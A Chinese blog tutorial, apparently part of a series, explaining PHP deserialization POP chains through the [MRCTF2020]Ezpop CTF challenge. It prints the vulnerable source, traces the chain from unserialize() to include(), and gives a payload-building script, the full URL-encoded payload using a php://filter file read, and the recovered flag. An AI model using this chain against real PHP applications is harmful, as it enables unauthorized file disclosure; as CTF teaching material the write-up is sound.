想我一个月之前还说的要日更php反序化的知识的,结果第三章鸽了两天,这第四章倒好,直接鸽一个月。中间因为学的太慢去搞别的方向了,现在终于有了时间来整治这x蛋的php反序化链了。
---------------------------------------------------------------------------------------------------------------------------------
引子
现在CTF一般都会考反序化题目,熟练掌握反序化漏洞,不至于每次都被剃光头(哈哈)
之前我们讲了一道反序化题目,通过绕过一些函数,从而进入了服务器规定之外的页面。
(日更)PHP反序化漏洞解析(3) 漏洞利用条件及利用实例 XCTFWeb_php_unserialize_AAAAAAAAAAAA66的博客-CSDN博客e
这道题目是利用了序列化和反序化过程中会自动调用魔法函数,我们通过绕过wake up魔法函数,执行了我们想要执行的代码。
为什么要提到这里呢?
因为今天要说的反序化链与这道题目不同的是,反序化链是通过调用其中的魔法函数,改变程序原来运行的运行顺序,从而执行我们需要执行的代码。而这道题目是绕过。
目录
反序化链的挖掘
反序列化漏洞一般都是在白盒审计时发现并利用,需要构造PHP序列化代码,利用条件比较苛刻。
首先进行反序列化的数据点是用户可控的,然后反序列化类中需要有魔术方法,魔术方法中存在敏感操作,或者魔术方法中无敏感操作,但是其对象调用了其他类中的同名函数,可以通过构造POP链利用。
反序化链原理
通过寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
自己的思考:通俗点来讲,相当于缓存区溢出漏洞,改变了设计者想要让我们执行的程序顺序。在PHP中,这些方便程序运行的魔法函数,及相对‘宽松’的调用函数过程,是反序化链漏洞的成因,当然这可以说是天生的,毕竟语言设计之初的初衷是为了更方便的使用和更好的运行性能。 (个人思考,不对的欢迎指正)
实例
讲了这么多,我们可以看实例了,重点有2个。
- 魔法函数,在什么时候会调用(这些魔法函数-对于刚接触php,或是没学过php的小白,只要稍微有一点语言基础)
- 这些函数串接的过程和顺序,要怎么构造,衔接。
__construct()//创建对象时触发 __destruct() //对象被销毁时触发 __wakeup() 使用unserialize时触发 __toString 当一个对象被当作一个字符串被调用 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
[MRCTF2020]Ezpop
BUUCTF在线评测 ←平台
源码给出,要我们去审计()教学网站都给了,但是我进了一下好像进不去?不过可以看大神的write up。嘿嘿
我自己重新审计了一下代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier { //定义Modifier类
protected $var;
public function append($value){
include($value);//文件包含,利用这个获取flag 反序化链的终点!!!!!!!!
}
public function __invoke(){ //魔法函数__invoke 当脚本尝试将对象调用为函数时触发
$this->append($this->var);
}
}
class Show{ // 定义show类
public $source;
public $str;
public function __construct($file='index.php'){ //创建对象时触发,一直将file重置为index.php
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ //魔法函数__toString 当一个对象被当作一个字符串被调用
return $this->str->source;
}
public function __wakeup(){ //魔法函数 __wakeup() 使用unserialize时触发
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker"; // 上面的preg——match语句将 this->source 当作字符串调用了
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){ //魔法函数 __construct()//创建对象时触发
$this->p = array();
}
public function __get($key){ //魔法函数 __get() //用于从不可访问的属性读取数据
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){ //GET 获取参数pop
@unserialize($_GET['pop']);//反序列化参数pop 反序化链的开始!!!!!!!!!
}
else{
$a=new Show; // 不然的话,实例化一个show类,在show类中有__construct函数,最后file=index.php
highlight_file(__FILE__);// 接下来输出index.php界面
}
做到这基本上就完成准备工作了,我们首先我们的终点是调用include() 函数,通过文件包含,打开flag.php文件。
而起点,则是unserialize反序化传进去的pop参数。
那么剩下的工作就是调用函数构造反序化链了,这里特别要说的是,是从include()函数,倒着找,不是从unserialize()函数开始,除非你实力特别强,给个程序一眼看穿源码的那种。这样你正着来也没问题。
下面就是反序化链构造思路了 对我这样的新手很操蛋,慢慢看,看了也不一定懂,慢慢肝,对于我这样的新手来说看一个多小时也正常!希望大家有耐心。👏👏💪💪💪
从include()函数反推
首先要调用include()函数,include()函数在append方法中,所以调用append()方法就能调用include()函数,append()函数(方法)又在__invoke()方法被调用,所以我们又要调用__invoke()方法。
反序化链include→append→invoke ⭐
魔法函数__invoke 当脚本尝试将对象调用为函数时触发
所以找到Test类中的get方法可以利用,里面的function __construct()要将里面的参数当作函数使用,
__construct()//创建对象时触发
所以要将Test类中的属性p实例化为对象就可被调用invoke。⭐
反序化链include→append→invoke→get
下一步就是考虑怎么调用get()
__get() //用于从不可访问的属性读取数据
注意show类中的__toString()方法中的$this->str->source,这里调用的是属性的属性,所以把$this->str声明为一个没有source属性的类对象即可(这里是真没想到能这样,弱类型语言就是牛),在这里把$this->str声明为Test类。
所以我们这里知道 要调用get()方法的话,必须先调用toString⭐
反序化链include→append→invoke→get→toString
__toString 当一个对象被当作一个字符串被调用
我们可以看到wake up()函数中,preg_match函数匹配正则,这里Show类中的source属性被当作字符串处理,
但是呢?我们把source重新实例化为一个对象的话,就能被调用了。
这里我们知道了调用preg_match()函数,就得先调用 wakeup()函数⭐
__wakeup() 使用unserialize时触发
也就是我们开始时的isset($_GET['pop'])函数了,只要传入pop参数就调用了。
所以最终的反序化链include→append→invoke→get→toString→preg_match→wakeup→isset
接来来从isset传参到include()文件包含正着推
isset向pop传值→触发unserialize函数→触发__wakeup→触发对象当作字符串用→触发__toString→触发调用不可读取属性→触发__get→触发对象当作函数使用→触发__invoke→调用append,append里有include文件包含
首先反序列化之后会触发__wakeup(),接着__wakeup()又会直接触发__tostring(),从而访问str的成员source,这时如果我们让str等于Test类对象,由于Test中没有source,就会触发__get(),将 p 以 函 数 的 形 式 返 回 , 而 我 们 再 让 p以函数的形式返回,而我们再让 p以函数的形式返回,而我们再让p等于Modifier的话,__invoke()方法就会触发,从而自动调用append函数包含flag.php
我们最终的目的,就要给p传参,并且传入的参数p可以被append函数包含flag.php。
payload
知道了反序化链的过程,那么如何构造payload是一个问题。
这里要说的是,我们实例化一个类之后,还要将其中的⭐属性⭐再次实例化为一个对象,再将这个对象中的属性再实例化为一个对象。不断套娃,这和php是弱类型语言有非常大的关系。
所以每当一个函数调用了一个对象中的属性时,发现这个属性其实又是一个对象,所以就继续调用相关函数,不断的解套。最终执行我们给p赋值的伪协议语句。
首先反序列化调用__wakeup()方法
令source=new Show() 后 __wakeup()会调用__toString()
令$str=new Test()就会调用__get()方法
令p=new Modifier()就会调用__invoke(),然后命令执行
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
浏览器中执行
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezk3M2FiMGVhLTBjYmEtNGRiMi1hZjk3LTliZjRjMWZmNzJjNX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
base64解码为:
<?php
class Flag{
private $flag= "flag{973ab0ea-0cba-4db2-af97-9bf4c1ff72c5}";
}
echo "Help Me Find FLAG!";
?>
得到flag。
下一篇介绍更复杂的pop链及其一些特别的操作。
参考链接